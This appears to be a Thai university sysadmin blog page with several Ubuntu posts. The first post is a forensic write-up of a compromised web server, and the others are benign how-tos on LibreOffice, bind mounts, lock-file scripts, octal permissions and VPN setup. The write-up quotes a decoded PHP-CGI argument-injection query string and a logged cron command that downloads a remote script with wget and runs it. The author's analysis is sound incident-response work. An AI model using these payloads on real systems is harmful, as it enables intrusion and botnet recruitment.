Tag: ubuntu

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6

    วันนี้ได้รับรายงาน ร้องเรียนจากองค์กรภายนอก ว่ามีเครื่องคอมพิวเตอร์จาก Domain ของ PSU ส่งข้อมูลจำนวนมาก ไปโจมตี ระบบเครือข่ายที่ต่างประเทศ จึงทำการสืบสวน

    เบื้องต้น พบว่า มาจากเครื่อง Web Server ของคณะหนึ่ง ซึ่งเพิ่งย้ายจากเครื่องเดิมซึ่งโดน Hack มาก่อน หวังขึ้นเครื่องใหม่ แล้วทุกอย่างคงจะดีขึ้น … แต่ก็ยังไม่ใช่

    จึงขออนุญาต ผู้ดูแลระบบของคณะ เข้าตรวจสอบ โดยการสร้าง Account แยกต่างหาก และรายงานทุกขั้นตอนการทำงานให้ทราบ

    สิ่งที่พบคือ เป็น Ubuntu และใช้ Apache + PHP + MySQL มีการใช้งาน CMS เป็น WordPress เป็นส่วนใหญ่ แต่มี Joomla แค่หนึ่งเดียว นอกจากนั้น ยังพบว่ามี phpMyAdmin ด้วย

    เริ่มต้นจาก ตรวจสอบตามกระบวนการใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #4 ก็ไม่พบความผิดปรกติใด

    ผู้ดูแลระบบแจ้งว่า หลังจากทราบข่าว ก็ตรวจสอบทันที มีข้อสังเกต ว่า มี Process แปลกๆ ทำงาน ซึ่งตรวจสอบด้วยคำสั่ง

    ps aux

    ได้ผลว่ามีโปรแกรมแปลกๆ ทำงานในพื้นที่ /tmp และพยายามติดต่อไปภายนอก ดังนี้

    ซึ่งทำงานด้วย User ชื่อ www-data ซึ่ง เป็น Web User ซึ่งผิดปรกติ โดยชื่อโปรแกรมที่ทำงาน ชื่อ

    /tmp/php
    /tmp/pnscan

    ดูจากคำสั่ง สงสัยได้ว่า จะมีการติดต่อไปยังภายนอก เพื่อทำการบางอย่าง …

    จึงตรวจสอบ พบว่าไฟล์ ด้วยคำสั่ง

    stat /tmp/php
    stat /tmp/pnscan

     ได้ผลดังนี้

    /tmp/php ไฟล์สร้างเมื่อประมาณ         2013-12-13 20:22:51
    /tmp/pnscan ไฟล์สร้างเมื่อประมาณ     2013-12-13 20:22:35

     จึงตรวจสอบต่อ ด้วยคำสั่ง

    top

    แล้วเลือกดู เฉพาะ Process ที่ทำงานด้วย www-data โดยกดปุ่ม u แล้ว พิมพ์ www-data

    ได้ผลดังนี้

     จึงเห็น Process แปลกๆ คือ .xx มีเลข PID คือ 24813

     จึงไปดูรายละเอียดว่าไฟล์ดังกล่าว อยู่ที่ใด ด้วยคำสั่ง

    ls -l /proc/24813

    ได้ผลดังนี้

     จึงทราบว่า Process ดังกล่าว ไปเรียกไฟล์จาก /dev/shm/.xx ซึ่งเป็นส่วนพื้นที่ของ Share Memory

    จึงลองใช้คำสั่ง

    ls -la /dev/shm/

     ได้ผลดังนี้

     พบว่า ไฟล์ดังกล่าว สร้างเมื่อเวลาประมาณ 2013-12-13 22:45 และ มีความพยายามจะสร้างอีกไฟล์ ชื่อ .x เมื่อเวลาประมาณ 2013-12-14 11:47

     เพื่อให้เห็นการทำงาน ของ Process ID 24813 ให้ละเอียดยิ่งขึ้น จึงปรับคำสั่ง จาก ps aux เป็น (เพิ่ม we เข้าไป)

    ps auxwe | grep 24813

    เพื่อให้แสดงผล แบบ Wide Output (w) และ แสดง Environment Variable (e) ที่เกี่ยวข้องด้วย ได้ผลดังนี้

     จากคำสั่งนี้ ทำให้ทราบว่า Hacker เรียกมาจาก

     REMOTE_ADDR=193.51.237.2
     QUERY_STRING=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
     REQUEST_URI=/cgi-bin/php5

     

    จากข้อมูล REMOTE_ADDR ข้างต้น ไปค้นหา พบว่า Hacker มาจากประเทศ ฝรั่งเศษ โดยการค้นหาจาก

    http://whatismyipaddress.com/ip/193.51.237.2

     เมื่อข้อมูล QUERY_STRING ซึ่งเป็นข้อมูลแบบ URL Encode ไปผ่านการ Decode จะได้ข้อมูลเป็น

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

     และ จาก REQUEST_URI ก็พบว่า Hacker เรียกผ่าน PHP ในแบบ cgi-bin โดยผ่านค่าที่ได้จาก QUERY_STRING ไป ซึ่ง แม้ PHP ตัวหลักของ Web Server จะปิดการ allow_url_include, เปิด safe_mode หรือปิด functions ต่างๆก็ตาม ด้วย Code ข้างต้น ทำให้ Hacker สามารถเรียกใช้สิ่งที่ไม่อนุญาตไว้ได้ทั้งหมด โดยไม่สนใจตัว PHP ของ Web Server เลย

     แต่จากข้อมูลที่ได้มา ทราบแค่ว่า Hacker ใช้วิธีการโจมตีผ่านช่องโหว่ของ PHP ในแบบ cgi-bin เท่านั้น แต่ยังไม่ทราบว่า ไฟล์นี้ มาได้อย่างไร

    จึงค้นหาต่อ โดยการเปิดดูไฟล์ /var/log/syslog ทั้งหมด พบว่า มี User www-data เรียกใช้งาน Cron ซึ่งผิดปรกติด้วย จึง ใช้คำสั่งต่อไปนี้ ตรวจสอบ

    zgrep "www-data" /var/log/syslog*

     ผลที่ได้คือ

     /var/log/syslog.3.gz:Dec 14 11:47:01 phar2 CRON[24799]: (www-data) CMD (/tmp/update >/dev/null 2>&1)var/log/syslog.3.gz:Dec 14 11:47:34 phar2 crontab[24814]: (www-data) REPLACE (www-data)
    /var/log/syslog.3.gz:Dec 14 11:48:01 phar2 cron[1075]: (www-data) RELOAD (crontabs/www-data)
    /var/log/syslog.3.gz:Dec 15 00:00:01 phar2 CRON[29845]: (www-data) CMD (wget -q http://221.132.37.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh)

     จึงใช้คำสั่ง

     wget -q http://221.132.37.26/scen

     เพื่อเอาไฟล์ชื่อ ‘scen’ จาก Website ดังกล่าวมาดู มีเนื้อหาดังนี้

    ซึ่ง การสร้าง cron นั้น จะไปฝังที่ /var/spool/cron/crontab โดยดูได้จากคำสั่ง

    ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    www-data.cron

    ซึ่ง แม้จะ Reboot เครื่อง หรือ Clear backdoor ต่างๆออกไปแล้ว ก็จะยังมี cron นี้ไปดึง Botnet กลับมาทุกสัปดาห์อยู่ดี

    จึงทำให้ทราบว่า Hacker เริ่มจาก

    1. เอาไฟล์มาวางไว้ใน /tmp ให้ได้ เช่น ชื่อไฟล์ /tmp/update, /tmp/sh หรืออะไรก็แล้วแต่

    2. จากนั้น ไฟล์เหล่านั้น ก็จะไป Download ผ่านโปรแกรมต่างๆ พวกนี้จะเรียกได้ว่าเป็น Botnet  เช่น เครื่องนี้ เป็นโปรแกรมในการ Scan Port เพื่อหาว่าในเครือข่ายปลายทาง มีบริการใดเปิดอยู่บ้างเป็นต้น หรือ จะฝังโปรแกรมแบบ Sniffer ไว้ก็สามารถทำได้เช่นกัน แต่แทนที่จะเก็บไว้ใน Directory ทั่วไป กลับเอาไปไว้ใน /dev/shm ซึ่งเป็น Share Memory ซึ่ง ผู้ดูแลระบบทั่วไป อาจจะไม่ได้ตรวจสอบ

    3. จากนั้นก็สั่ง Execute Botnet เหล่านั้น ให้ทำงานไป

    4. สร้าง crontab ชั่วคราว เพื่อให้ไปเอาโปรแกรมมาใหม่ แบบ Weekly หรือสัปดาห์ละครั้ง ไปเก็บไว้ในไฟล์ชื่อ /tmp/corn แล้วใช้คำสั่ง crontab /tmp/corn เพื่อเอา script ดังกล่าวเข้าทำงานใน Cron ของระบบ แล้ว สั่งทำงาน แล้วลบตัวเองทิ้ง จึงทำให้ ไม่สามารถหา ต้นตอได้ง่ายๆ

     เป็นเหตุให้ เครื่อง Web Server เครื่องนี้ ตกเป็น Botnet ตลอดไปนั่นเอง

     คำถามสำคัญ แล้ว … มันมีช่องโหว่ใด ???

     จึง ทดลองหาดูว่า มีไฟล์ใด /home (ซึ่งเครื่องนี้ ให้ผู้ใช้แต่ละคน สร้าง Website บนพื้นที่ /home ของตนเอง) ว่ามีไฟล์ใดบ้าง ที่มีการสั่งเขียนไฟล์ /tmp/php ด้วยคำสั่ง

     find /home -type f -exec grep '/tmp/php' {} \;

     ผลที่ได้คือ

    ในไฟล์ Documentation.html ของ phpMyAdmin ซึ่งระบุว่า

     และตรวจสอบ พบว่า ในบทความ  Debian: New phpmyadmin packages fix several vulnerabilities แจ้งว่า phpMyAdmin ไม่ได้ตรวจสอบสิทธิ์ให้ดีเพียงพอ จึงทำให้สามารถสร้างไฟล์ใน /tmp/ ได้ และแจ้งว่ามี CVE ที่กล่าวถึงใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #5 เกี่ยวกับ phpMyAdmin มีช่องโหว่ หมายเลข

    CVE-2008-7251

    CVE-2008-7252

    CVE-2009-4605

     สรุป

    1.ช่องโหว่ครั้งนี้ มาจาก phpMyAdmin ทำให้ Hacker สามารถสร้างไฟล์ใน /tmp ได้ และสามารถสร้าง Cron เพื่อดึง Botnet มาไว้ในเครื่องได้ และทำลายตัวเองทิ้งได้ด้วย

    2. ในอนาตค หากผู้ดูแลระบบ พบว่ามี Process แปลกๆ ให้ดูหมายเลข PID เช่น 24813 ก็ให้เปิด ls -la /proc/24813/ ก็จะทำให้ทราบ ต้นตอของ Process นั้นๆอยู่ที่ใด

    3. การบริหารจัดการ Log File มีความสำคัญอย่างยิ่ง ในระบบนี้ ได้เก็บ Log File ย้อนหลังไว้เพียงพอ ทำให้สามารถค้นหาต้นตอได้

    4. คาถาป้องกันตัว คือ
    “update เป็นนิจ
    ติดตามข่าวสาร
    อย่าเอาแต่เชื่ออาจารย์ (Tools)
    สร้างการป้องกัน
    ขยันอ่าน Log
    เตรียม Block ช่องโหว่
    สุขโขนั่นเป็นเรื่องชั่วคราว
    กรรมระยะยาว ของ SysAdmin”

    ขอให้โชคดี

  • ติดตั้ง LibreOffice 4.1 บน Ubuntu และ Linux Mint

    • Add repository โดย repository นี้ใช้ได้สำหรับ Ubuntu รุ่น Precise, Quantal, Raring และ Linux Mint ในรุ่นที่เทียบเคียงกัน เช่น ปัจจุบัน Linux Mint 15 ซึ่งเทียบเคียงได้กับ Ubuntu Raring เป็นต้น ด้วยคำสั่ง

    sudo add-apt-repository ppa:libreoffice/ppa

    • เนื่องจากในมหาวิทยาลัยสงขลานครินทร์ มีไซต์ http://mirrors.psu.ac.th ซึ่งได้ทำการ mirror ไซต์ต่างๆ ที่จำเป็นไว้แล้วส่วนหนึ่ง รวมถึง repository ของ LibreOffice ด้วย ดังนั้น สามารถใช้งานได้ โดยการแก้แฟ้ม /etc/apt/sources.list.d/libreoffice-ppa-raring.list จากเดิม มีอะไรอยู่ให้แก้เป็นดังนี้ โดยหากเป็น Ubuntu รุ่นอื่นๆ ก็ให้เปลี่ยนคำว่า raring เป็นรุ่นที่ใช้งาน สำหรับ Linux Mint ก็ยังคงใช้รุ่นของ Ubuntu ที่เทียบเคียงกันมาเช่น Linux Mint 15 ก็ให้ใช้ของ raring

    deb http://mirrors.psu.ac.th/ppa/libreoffice/ raring main

    • สั่ง update ฐานข้อมูล software ด้วยคำสั่ง

    sudo apt-get update

    • สั่ง upgrade software ซึ่ง LibreOffice จะถูก upgrade ไปในคราวเดียวกันโดยอัตโนมัติด้วยคำสั่ง

    sudo apt-get -y dist-upgrade

    • จบ.. ขอให้สนุกครับ

    ที่มา

        http://www.ubuntuupdates.org/ppa/libreoffice

  • Mount & fstab

    วันนี้หลังจากติดตั้ง OS ใหม่ ก็มานั่งคิดๆ ดูว่าจะใช้ อะไรในการ mount โฟลเดอร์ที่ได้แบ่งแยกไว้แต่แรกมาใช้ได้อย่างไร ซึ่งจากเดิมจะใช้วิธีแก้แฟ้ม /etc/rc.local โดยเพิ่มข้อความเข้าไปประมาณว่า

    mount --bind /home/sipa /usr/share/fonts/truetype/sipa

    ซึ่งวันนี้ก็พบว่า มันไม่ทำงาน และเหมือนกับว่าถ้ามีการอัพเดต kernel แฟ้มนี้จะถูกเปลี่ยนกลับเป็นเหมือนเดิม คือ ไม่มีข้อความข้างต้นอยู่ข้างใน (อันนี้ยังไม่ยืนยันเพราะเจอแค่ครั้งเดียว)

    ต่อมาเลยนั่งมองว่าแล้วเราจะใส่แบบข้างบนลงไปในแฟ้ม /etc/fstab ได้มั้ย ทำอย่างไร ก็ค้นไปเรื่อยๆ พบว่าทำได้ โดยให้ใส่เพิ่มเข้าไปดังนี้

    /home/sipa /usr/share/fonts/truetype/sipa none  bind    0 0

    เมื่อแก้แฟ้มนี้เสร็จออกมาสั่ง

    sudo mkdir /usr/share/fonts/truetype/sipa ; sudo mount -a

    ได้ทันที ได้ผลเป็นที่น่าพอใจ

    มีอีกวิธี คือการสร้างเป็น Upstart job ทำได้โดย สร้างแฟ้ม /etc/init/mount-bind.conf โดยมีข้อความว่า

    #
    # bind mounts
    #
    description "bind"
    start on stopped mountall
    script
    mount --bind /home/sipa /usr/share/fonts/truetype/sipa
    end script

    ขอให้สนุกครับ

    ที่มา

    http://ubuntuforums.org/showthread.php?t=1642616

    http://www.linuxforums.org/forum/servers/28252-fstab-mount.html

  • Check previous running script using process id

    วันนี้ในกลุ่ม sysadmin บน facebook คุยกันเรื่องของ ubuntu mirror ของ PSU แล้วมีประเด็นของการใช้ script สำหรับการ mirror

    ตัว script ที่ว่านี้ จะเป็น shell script ธรรมดา ที่จะไปเรียกใช้โปรแกรม rsync ที่จะทำหน้าที่ mirror ข้อมูลจาก primary ftp/rsync site ของ ubuntu มาเก็บไว้ที่เครื่อง server ของ PSU ตัว script จะถูกเรียกใช้โดย cron กำหนดไว้ใน crontab และเรียกใช้ 4-6 ครั้งใน 1 วัน (หรือ run ทุกๆ 6 หรือ 4 ชั่วโมง) ระยะเวลาที่ใช้ในการ run script ไม่แน่นอนว่าจะใช้เวลาเท่าไหร่ ขึ้นอยู่กับปริมาณของข้อมูลที่จะต้อง mirror จากต้นทางมายังปลายทาง

    ถึงแม้ว่าการใช้ rsync จะช่วยให้ transfer เฉพาะไฟล์ ที่มีการเปลี่ยนแปลงไป หลังจากการ mirror ครั้งสุดท้ายมา แต่ในบางครั้งจำนวนของข้อมูลที่เปลี่ยนแปลงไป ก็อาจจะมากกว่าปกติ เช่นในช่วงเวลาที่มีการเปลี่ยน release ซึ่งทำให้มีไฟล์ใหม่ๆ เพิ่มขึ้นเป็นจำนวนมาก ทำให้ จากช่วงปกติ ซึ่งอาจจะใช้เวลาเพียง 1-2 ชม. ในการ mirror และ mirror ทุกๆ 4 ชม. ก็เพียงพอ ในช่วงเวลาของการปรับเปลี่ยน release ถ้าจะ mirror ให้เสร็จ ก็อาจจะใช้เวลาถึง 12 ชม. เป็นต้น

    จะเกิดอะไรขึ้น ถ้าในการ mirror ครั้งที่แล้ว ยังไม่เสร็จสิ้นสมบูรณ์ แล้วก็ถึงเวลาของการ mirror รอบถัดไป?

    ถ้าไม่มีการตรวจสอบใดๆเลย กระบวนการของการ mirror ในครั้งถัดมาก็จะเริ่มทำงาน ในขณะที่รอบแรกยังไม่เสร็จ และ ถ้ามีข้อมูลที่ถูกเปลี่ยนแปลงมากจริงๆ ถึงรอบที่ 4-5 ของการ mirror แล้ว … การ mirror ครั้งแรกก็ยังไม่เสร็จเรียบร้อยดี … และพอถึงขั้นนี้แล้ว ระบบจะมีภาระงานสะสมมากขึ้นเรื่อยๆ และระบบเริ่มช้าลง และ จำนวน process ของการ mirror ที่คั้งค้างอยู่ก็จะเพิ่มขึ้นเรื่อยๆ เพราะ process หลังๆ ก็จะไปหน่วงการทำงานของ process แรกๆให้ทำงานช้าลงไปด้วย

    ครั้งแรกที่ผมเจอปัญหาในลักษณะนี้ process ของการ mirror ที่ run ค้างอยู่ทำให้ load ของระบบสูงกว่า 100 โชคยังดีที่ load ที่สูงขึ้นเกิดจาก i/o ของการเขียน disk ซึ่งยังทำให้สามารถ secure shell เข้าไปได้ สามารถ run คำสั่ง ps auxw เพื่อตรวจสอบได้ ถึงแม้จะช้าอยู่มาก แต่ก็ทำให้ทราบว่าปัญหาเกิดจากอะไร และเอาข้อมูลนั้นมาแก้ไขปัญหาในภายหลังได้

    สำหรับปัญหาแบบนี้ วิธีการแก้ไข ก็ไม่ได้ยากอะไร การทำงานของ mirror process ในครั้งหลังที่ถูก start ขึ้นมาด้วย cron ไม่ควรที่จะทำงานต่อ ถ้า process แรกที่ทำงานอยู่ ยังทำงานไม่เสร็จ ควรที่จะปล่อยให้ process แรกทำงานให้เสร็จเท่านั้นเอง

    ในแง่ของ shell script ก็สามารถทำได้ โดยการใช้ lock file ก่อนที่จะเริ่มต้นทำงาน ก็ตรวจสอบดูก่อนว่า มี lock file อยู่หรือเปล่า ถ้ามี ก็แสดงว่ายังมี process เดิมทำงานอยู่ ไม่ต้องทำอะไร ให้ terminate ไป ถ้าไม่มี lock file ก่อนที่จะเริ่มต้นทำงาน ก็สร้าง lock file ขึ้นมา เพื่อบอกว่า กำลังทำงานนี้อยู่ หลังจากทำงานเสร็จแล้ว ก็ลบ lock file นั้นทิ้ง เพื่อบอกว่า process ทำงานเสร็จแล้ว

    เขียนเป็น script คร่าวๆ ได้ประมาณนี้ครับ

    LOCK="/tmp/script-name.lock"
    if [ -f "$LOCK" ]; then
        # lock file exist
        echo "Previous process is still running..."
        exit  -1 # Terminate script here
    fi
    
    # No other process, we do our job as usual
    
    ...
    
    # end of our duty, do cleaning up, remove lock file
    
    rm -f $LOCK
    
    exit 0  # Terminate normally

    วิธีการนี้ เป็นวิธีการที่ใช้อยู่แล้ว สำหรับ mirror script ของ ubuntu แต่ล่าสุดนี้ มีปัญหาเกิดขึ้นก็คือ process ของการ mirror ที่ควรจะ run เป็นระยะๆ กลับหยุดทำงานไปหลายวัน

    ปัญหาที่เกิดขึ้นก็คือ script ที่ cron เรียกให้ทำงานนั้น ไม่ได้ทำงานเสร็จ ตามปกติของมัน ซึ่งจะมีการลบ lock file ทิ้งไป ซึ่ง สาเหตุอาจจะเกิดขึ้นได้จากหลายๆกรณี ในส่วนที่ผมเคยเจอ ก็คือ “ไฟดับ” ระบบที่ผมดูแลอยู่ในตอนนั้นถึงจะมี UPS backup แต่ไม่มีส่วนของการ monitor UPS และควบคุมให้ shutdown เครื่องแบบอัตโนมัติ ถ้าเกิดไฟดับนานเกินไป และ battery ของ UPS ไม่สามารถจ่ายไฟฟ้าให้นานพอจนกระทั่งไฟฟ้ากลับมาเป็นปกติได้ ตัว script ก็ตายไปกลางคัน พร้อมๆกับเครื่อง และ lock file นั้นก็ไม่ได้ถูกลบไป ทำให้ script ที่ run โดย cron ในรอบถัดไปไม่สามารถทำงานในส่วนของการ mirror ได้ เพราะ lock file ยังอยู่ (ตัว lock file ไม่ได้เก็บไว้ใน /tmp หรือ /var/lock) ส่วนกรณีอื่นๆ ก็จะเป็นกรณีที่ script เกิดตายไปกระทันหันโดยสาเหตุอื่นๆ เช่น out of memory หรือ process ถูก kill โดยกรณีอื่นๆ และ lock file ก็ถูกทิ้งค้างเอาไว้

    ตัว script ที่ผมใช้ในสมัยหลัง ก็เลยมีส่วนของการตรวจสอบเพิ่มขึ้นมาอีกอย่างหนึ่ง ก็คือ นอกจากจะ สร้าง lock file แล้ว ก็จะเก็บ process id ของ script เอาไว้ใน lock file นั้นด้วย ในการทำงานของ script ส่วนของการตรวจสอบว่า process ของ script ที่ทำงานอยู่ก่อนหน้านี้ ยังทำงานอยู่หรือเปล่า นอกจากตรวจสอบว่ามี lock file แล้ว ก็จะตรวจสอบว่า process ของ lock file นั้น ยังมีอยู่ในระบบหรือเปล่า

    ส่วนของการเก็บ process id ของ script นั้น ใช้วิธีการ

        echo "$$" > $LOCK

    ได้เลยตัว special shell variable ‘$$’ จะเป็นหมายเลข process id ของ shell ที่ใช้ในการ run script ตัวนั้น

    ส่วนการตรวจสอบว่า process นั้นยังทำงานอยู่หรือเปล่า ก็ใช้ process id ที่เก็บอยู่ใน lock file เอามาตรวจสอบ ซึ่งเราอาจจะตรวจสอบ โดยการใช้คำสั่ง

        ps ax | grep $previous_pid | grep -v grep

    ดูก็ได้ แต่จริงแล้ว ก็มีวิธีง่ายกว่านั้น ก็คือ สำหรับ Linux แล้ว จะมี virtual directory ที่ชื่อว่า /proc และ ทุกๆ process จะถูกสร้างเป็น sub directory ใน /proc โดยใช้ชื่อเป็นหมายเลขของ process id ดังนั้น แทนที่เราจะตรวจสอบโดยการใช้คำสั่ง ps ซึ่งจะต้องส่ง ourput ไปให้คำสั่ง grep อีก 2 รอบ ก็สามารถตรวจสอบเพียงแค่ว่ามี directory นั้นอยู่หรือเปล่าได้เลย โดยการใช้

        if [ -d /proc/$previous_pid ]; then
        ...
        fi

    ตัวอย่าง script ที่ใช้งานวิธีการนี้

    #!/bin/sh
    TASKNAME="this"
    LOCK="/tmp/${TASKNAME}.LCK"
    LOG="/tmp/${TASKNAME}.log"
    
    lock() {
        if [ -f $LOCK ]; then
           D=`date`
           task_pid=`cat $LOCK`
           if [ -d "/proc/$task_pid" ]; then
              # it's possible that this_pid is different task, but
              # it is very unlikely.
              echo "$D : Previous process (pid: $task_pid) is running"
              exit
           else
              # Lock is not clean up properly, assume
              echo "$D : clean up previous lock file (pid: $task_pid)"
           fi
        fi
        echo $$ > $LOCK
    }
    
    unlock() {
        rm -f $LOCK
    }
    
    do_myjob() {
        START=`date`
        sleep 10    # This is the real 'task' of this script
        STOP=`date`
        echo "Process start at: $START" >> $LOG
        echo "Process stop at : $STOP"  >> $LOG
    }
    
    lock
    do_myjob
    unlock

    ใน script ตัวอย่างข้างต้น สมมติ save ให้อยู่ในชื่อว่า t และกำหนด permission ให้สามารถ execute ได้ โดยใช้

    $ editor t
    $ chmod +x t

    เราสามารถ ตรวจสอบการทำงานของ script ดูได้ โดย ทดลอง run

    $ ./t

    ซึ่งมันจะรอเวลา 10 วินาที ตาม “sleep 10” ในฟังก์ชัน do_myjob() ก่อนที่จะกลับมาที่ shell prompt อีกครั้งนึง และในไฟล์ /tmp/this.log จะแสดง เวลาเริ่มต้นทำงาน และ ทำงานเสร็จ
    ถ้า run script ด้วยคำสั่ง

    $ ./t & ./t

    ตัว script ตัวแรกจะทำงานตามปกติ แต่ตัวที่สอง จะแสดงข้อความว่า “…Previous process (pid: xxxxx) is running” และ เราจะไม่สามารถ run script ครั้งที่สองได้ จนกว่า process ที่ run ค้างอยู่ทำงานเสร็จแล้ว และ ถ้าตรวจสอบใน log file ก็จะเห็นว่า การทำงานของ script จะเป็น [start, stop], [start, stop] ไปเรื่อยๆ ไม่มีการซ้อนเหลือมกัน

    แต่ใน script ตัวนี้ ถ้าหาไป comment บรรทัด lock; do_myjob; unlock เป็น

    # lock
    do_myjob
    # unlock

    แล้วทดลอง run script

    $  ./t & ./t

    ก็จะเห็นว่า script สามารถ run ซ้อนกันได้ และ ใน log file ก็จะเห็นเป็น star, stat, stop, stop ซ้อนเหลื่อมกัน ซึ่งเป็นกรณีที่เราไม่ต้องการให้เกิดขึ้น

    script ตัวนี้ อาจจะไม่ได้สมบูรณ์ 100% ในการใช้การตรวจสอบว่า มี process เดิมยังทำงานค้างอยู่หรือเปล่า เพราะมีความเห็นไปได้ว่า process id ที่มีอยู่และตรวจสอบจาก /proc ได้นั้น ไม่ได้เป็น process ของ script ตัวนี้ ที่ทำงานไปในครั้งที่แล้ว และยังทำงานไม่เสร็จ แต่เป็น process อื่นๆ ซึ่งไม่เกี่ยวข้องกับ script ตัวนี้เลยก็เป็นไปได้ เพราะ process id จะมีการเอากลับมาใช้ใหม่ หลังจากใช้ไปจนครบแล้ว แต่ โอกาสเช่นนั้น จะเกิดขึ้นได้น้อยมาก (process id เป็น process id เดียวกับ script ที่ terminate ไปแล้วแบบผิดปกติ และ process ที่ไม่เกี่ยวข้องทำงานอยู่ในช่วงเวลานี้พอดี) การตรวจสอบเพ่ิมเติม จะทำให้ script มีความซับซ้อนมากขึ้น โดยใช่เหตุ ก็เลยทิ้งไว้เท่านี้ครับ ผู้ที่สนใจ อาจจะตรวจสอบโดยใช้ ข้อมูลอื่นๆ ใน /proc/$process_id เช่น cmdline ดูได้ ทิ้งไว้ให้ไปลองทำเป็นการบ้านดูครับ 🙂

  • How to list linux file permissions in Octal Notation

    วันนี้เนื่องจากทีมผู้ดูแล  Web Hosting ต้องการดูว่ามีไฟล์ไหนบ้างที่มี permission เป็น 777 ก็เลยนั่งหาดูพบว่า สามารถใช้คำสั่ง stat ในการดูได้ เช่น

    $stat -c "%a %n" /var/www

    ผลลัพธ์
    Screenshot from 2013-05-01 11:47:06

    หรือ

    $stat -c "%A (%a) %8s %.19y %n" /var/www

    ผลลัพธ์
    Screenshot from 2013-05-01 11:49:19

    ทั้งนี้เนื่องจากไม่สามารถทำให้มัน recursive ได้ ก็ต้องหาไปทีละโฟลเดอร์ …. จนกระทั่งเจออีกคำสั่ง คือ สร้าง alias ชื่อ lso ดังนี้

    $alias lso="ls -alG | awk '{k=0;for(i=0;i<=8;i++)k+=((substr(\$1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf(\" %0o \",k);print}'"

    เมื่อจะใช้งาน ก็เพียงสั่ง lso ที่คอมมานด์ไลน์ ผลลัพธ์
    Screenshot from 2013-05-01 11:54:27

    สามารถปรับ option ของ ls ใน alias ให้ recursive ได้โดยเพิ่ม R ตัวใหญ่ลงไป ดังนี้

    $alias lso="ls -alGR | awk '{k=0;for(i=0;i<=8;i++)k+=((substr(\$1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf(\" %0o \",k);print}'"

    เมื่อเรียกใช้จะได้ผลลัพธ์
    Screenshot from 2013-05-01 11:57:21

    สามารถใช้ร่วมกับ grep เพื่อค้นหาเฉพาะค่าที่ต้องการ เช่น

    $lso|grep " ^777"

    ผลลัพธ์
    Screenshot from 2013-05-01 13:11:12

    ก็พอจะช่วยได้บ้างครับ Big Smile ขอให้สนุกครับ

    ที่มา

    http://thenubbyadmin.com/2012/02/16/how-to-list-linux-file-permissions-in-octal-notation/

    http://askubuntu.com/questions/152001/how-can-i-get-octal-file-permissions-from-command-line

  • How to create PSU VPN (L2TP/IPSec) connection Ubuntu 13.04?

    * ติดตั้งโปรแกรมชื่อ l2tp-ipsec-vpn ด้วยคำสั่ง

    $sudo apt-get install l2tp-ipsec-vpn

    ดังภาพ
    Screenshot from 2013-04-29 11:02:30
    * ตอบ y
    Screenshot from 2013-04-29 11:03:16
    * ตอบ No
    Screenshot from 2013-04-29 11:03:31
    Screenshot from 2013-04-29 11:03:40
    * กด OK
    Screenshot from 2013-04-29 11:03:53
    * สั่ง reboot เครื่อง
    Screenshot from 2013-04-29 11:04:12
    * เมื่อบูทเสร็จจะพบว่ามีไอคอนเพิ่มมาบนพาเนล
    Screenshot from 2013-04-29 11:44:16
    * คลิกซ้ายเลือก Edit Connection
    Screenshot from 2013-04-29 12:00:41
    * หน้าจอจะมืดลงและมีช่องให้ใส่พาสเวิร์ดของผู้ใช้ลงไปแล้วกด OK
    Screenshot from 2013-04-29 12:02:16
    * จะได้หน้าจอดังรูป
    Screenshot from 2013-04-29 11:21:03
    * คลิก Add จะได้หน้าจอดังรูป ใส่ vpn.psu.ac.th ลงไปในช่อง Connection name กด OK
    Screenshot from 2013-04-29 11:21:32
    * ได้ดังรูป
    Screenshot from 2013-04-29 12:06:09
    * คลิก Edit กรอกข้อความตามรูป
    Screenshot from 2013-04-29 11:22:00
    * คลิก PPP เลือกตามรูป ในช่อง Username และ Password ให้ใช้ PSU Passport
    Screenshot from 2013-04-29 11:22:30
    * คลิก IP setting คลิกเครื่องหมายถูกในช่องสี่เหลี่ยมหน้าข้อความ Obtain DNS server address automatically กด OK
    Screenshot from 2013-04-29 11:23:35
    * กด OK ออกมาจนสุดคลิก Close คลิก OK
    Screenshot from 2013-04-29 11:24:14
    * Reboot อีกครั้ง
    * คลิกที่ไอคอน เลือก vpn.psu.ac.th
    Screenshot from 2013-04-29 11:31:28
    Screenshot from 2013-04-29 11:25:37
    * เมื่อเชื่อมต่อสำเร็จจะเป็นดังรูป
    Screenshot from 2013-04-29 11:28:29
    * สำหรับ Linux Mint 15 อาจจะต้องทำคำสั่งนี้ก่อนจึงจะใช้งานได้

    sudo apt-add-repository ppa:werner-jaeger/ppa-werner-vpn
    sudo apt-get update && sudo apt-get install l2tp-ipsec-vpn

    * ขอให้สนุกครับ

    ที่มา http://rapidvpn.com/setup-vpn-l2tp-ubuntu.htm

  • elvisnox: text is invisible in black background xterm

    *Ubuntu 13.04 แก้ปัญหานี้แล้วครับ

    หลังจากเข้าร่วม ติว “VirtualBox Networking + vi + Shell Scripts” ก็ติดใจใช้แต่ elvis (elvis เป็น vi editor ชนิดหนึ่ง http://fivedots.coe.psu.ac.th/~cj/LUG/vi.pdf สามารถติดตั้งเพิ่มโดยใช้คำสั่ง

    $sudo apt-get install elvis

